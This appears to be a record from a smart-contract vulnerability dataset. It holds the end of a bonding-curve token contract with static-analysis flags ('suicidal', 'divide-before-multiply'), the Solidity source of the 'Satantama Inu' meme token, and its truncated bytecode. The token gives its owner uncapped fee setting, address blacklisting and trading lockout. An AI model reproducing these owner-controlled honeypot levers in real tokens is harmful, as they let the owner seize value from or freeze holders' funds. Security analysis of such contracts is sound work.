uint256 _tokenSupply = tokenSupply_;
uint256 _tokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
uint256 tempbase = upperBound_(_grv);
if((_tokensReceived + _tokenSupply) < tempbase && _tokenSupply < tempbase){
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
}
if((_tokensReceived + _tokenSupply) > tempbase && _tokenSupply < tempbase){
_tokensReceived = tempbase - _tokenSupply;
_ethereum = SafeMath.sub(
_ethereum,
((_tokensReceived)/2)*
((2*_currentPrice)+((_tokensReceived-1)
*_tokenPriceIncremental))
);
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
_grv = _grv + 1;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
_tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tempTokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
_currentPrice = _currentPrice+((_tempTokensReceived-1)*_tokenPriceIncremental);
_tokensReceived = _tokensReceived + _tempTokensReceived;
}
if(buy == true)
{
currentPrice_ = _currentPrice;
grv = _grv;
}
return _tokensReceived;
}
function upperBound_(uint256 _grv)
internal
view
returns(uint256)
{
if(_grv <= 5)
{
return (60000 * _grv);
}
if(_grv > 5 && _grv <= 10)
{
return (300000 + ((_grv-5)*50000));
}
if(_grv > 10 && _grv <= 15)
{
return (550000 + ((_grv-10)*40000));
}
if(_grv > 15)
{
return (750000 +((_grv-15)*30000));
}
return 0;
}
function tokensToEthereum_(uint256 _tokens, bool sell)
internal
view
returns(uint256)
{
uint256 _tokenSupply = tokenSupply_;
uint256 _etherReceived = 0;
uint256 _grv = grv;
uint256 tempbase = upperBound_(_grv-1);
uint256 _currentPrice = currentPrice_;
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
if((_tokenSupply - _tokens) < tempbase)
{
uint256 tokensToSell = _tokenSupply - tempbase;
uint256 a = _currentPrice - ((tokensToSell-1)*_tokenPriceIncremental);
_tokens = _tokens - tokensToSell;
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental)));
_currentPrice = _currentPrice-((tokensToSell-1)*_tokenPriceIncremental);
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv-1);
}
if((_tokenSupply - _tokens) < tempbase)
{
tokensToSell = _tokenSupply - tempbase;
_tokens = _tokens - tokensToSell;
a = _currentPrice - ((tokensToSell-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental)));
_currentPrice = a;
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv);
}
if(_tokens > 0)
{
a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental)));
_tokenSupply = _tokenSupply - _tokens;
_currentPrice = a;
}
if(sell == true)
{
grv = _grv;
currentPrice_ = _currentPrice;
}
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 6,576 |
0xf535d240b4d1c18758640eea01883cadfbf3589a
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Satantama is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Satantama Inu";
string private constant _symbol = "SATANTAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnBuy = 9;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _marketingAddress = payable(0xeCf22BC1c06748424717B62A233e563337e57f08);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b857600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192b565b610603565b005b34801561020a57600080fd5b5060408051808201909152600d81526c536174616e74616d6120496e7560981b60208201525b60405161023d91906119f0565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a45565b6106a2565b604051901515815260200161023d565b34801561028257600080fd5b50601354610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611a71565b6106b9565b3480156102ff57600080fd5b506102c560175481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601454610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ab2565b610722565b34801561037157600080fd5b506101fc610380366004611adf565b61076d565b34801561039157600080fd5b506101fc6107b5565b3480156103a657600080fd5b506102c56103b5366004611ab2565b6107e2565b3480156103c657600080fd5b506101fc610804565b3480156103db57600080fd5b506101fc6103ea366004611afa565b610878565b3480156103fb57600080fd5b506102c560155481565b34801561041157600080fd5b506102c5610420366004611ab2565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611adf565b6108a7565b34801561047c57600080fd5b506102c560165481565b34801561049257600080fd5b50604080518082019091526009815268534154414e54414d4160b81b6020820152610230565b3480156104c457600080fd5b506101fc6104d3366004611afa565b6108ef565b3480156104e457600080fd5b506101fc6104f3366004611b13565b61091e565b34801561050457600080fd5b50610266610513366004611a45565b61095c565b34801561052457600080fd5b50610266610533366004611ab2565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610969565b34801561056957600080fd5b506101fc610578366004611b45565b61099f565b34801561058957600080fd5b506102c5610598366004611bc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611afa565b610a40565b3480156105ef57600080fd5b506101fc6105fe366004611ab2565b610a6f565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c02565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611c63565b915050610639565b5050565b60006106af338484610b59565b5060015b92915050565b60006106c6848484610c7d565b610718843361071385604051806060016040528060288152602001611d7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c02565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d557600080fd5b476107df816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106b39061122d565b6000546001600160a01b0316331461082e5760405162461bcd60e51b815260040161062d90611c02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a25760405162461bcd60e51b815260040161062d90611c02565b601555565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161062d90611c02565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109195760405162461bcd60e51b815260040161062d90611c02565b601755565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161062d90611c02565b600893909355600991909155600a55600b55565b60006106af338484610c7d565b6012546001600160a01b0316336001600160a01b03161461098957600080fd5b6000610994306107e2565b90506107df816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b815260040161062d90611c02565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c37565b9050602002016020810190610a009190611ab2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c63565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b815260040161062d90611c02565b601655565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062d90611c02565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601454600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601554811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6014546001600160a01b03838116911614610fdb5760165481610f78846107e2565b610f829190611c7e565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b6000610fe6306107e2565b601754601554919250821015908210610fff5760155491505b8080156110165750601454600160a81b900460ff16155b801561103057506014546001600160a01b03868116911614155b80156110455750601454600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506014546001600160a01b0385811691161480159061112657506014546001600160a01b03848116911614155b15611133575060006111ad565b6014546001600160a01b03858116911614801561115e57506013546001600160a01b03848116911614155b1561117057600854600c55600a54600d555b6014546001600160a01b03848116911614801561119b57506013546001600160a01b03858116911614155b156111ad57600954600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b815260040161062d91906119f0565b5060006111ea8486611c96565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b600061129e611468565b90506112aa838261148b565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c37565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cad565b8160018151811061139857611398611c37565b6001600160a01b0392831660209182029290920101526013546113be9130911684610b59565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cca565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611632565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611660565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116ff565b6001600160a01b0389166000908152600260205260409020556115908161175e565b61159a84836117a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160d828261148b565b82101561162957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116535760405162461bcd60e51b815260040161062d91906119f0565b5060006111ea8486611d3b565b600080600080600080600080600061167d8a600c54600d546117cc565b925092509250600061168d611468565b905060008060006116a08e878787611821565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170c8385611c7e565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b6000611768611468565b905060006117768383611871565b3060009081526002602052604090205490915061179390826116ff565b30600090815260026020526040902055505050565b6006546117b590836116bd565b6006556007546117c590826116ff565b6007555050565b60008080806117e660646117e08989611871565b9061148b565b905060006117f960646117e08a89611871565b905060006118118261180b8b866116bd565b906116bd565b9992985090965090945050505050565b60008080806118308886611871565b9050600061183e8887611871565b9050600061184c8888611871565b9050600061185e8261180b86866116bd565b939b939a50919850919650505050505050565b600082611880575060006106b3565b600061188c8385611d5d565b9050826118998583611d3b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107df57600080fd5b803561192681611906565b919050565b6000602080838503121561193e57600080fd5b823567ffffffffffffffff8082111561195657600080fd5b818501915085601f83011261196a57600080fd5b81358181111561197c5761197c6118f0565b8060051b604051601f19603f830116810181811085821117156119a1576119a16118f0565b6040529182528482019250838101850191888311156119bf57600080fd5b938501935b828510156119e4576119d58561191b565b845293850193928501926119c4565b98975050505050505050565b600060208083528351808285015260005b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5857600080fd5b8235611a6381611906565b946020939093013593505050565b600080600060608486031215611a8657600080fd5b8335611a9181611906565b92506020840135611aa181611906565b929592945050506040919091013590565b600060208284031215611ac457600080fd5b81356112aa81611906565b8035801515811461192657600080fd5b600060208284031215611af157600080fd5b6112aa82611acf565b600060208284031215611b0c57600080fd5b5035919050565b60008060008060808587031215611b2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5a57600080fd5b833567ffffffffffffffff80821115611b7257600080fd5b818601915086601f830112611b8657600080fd5b813581811115611b9557600080fd5b8760208260051b8501011115611baa57600080fd5b602092830195509350611bc09186019050611acf565b90509250925092565b60008060408385031215611bdc57600080fd5b8235611be781611906565b91506020830135611bf781611906565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600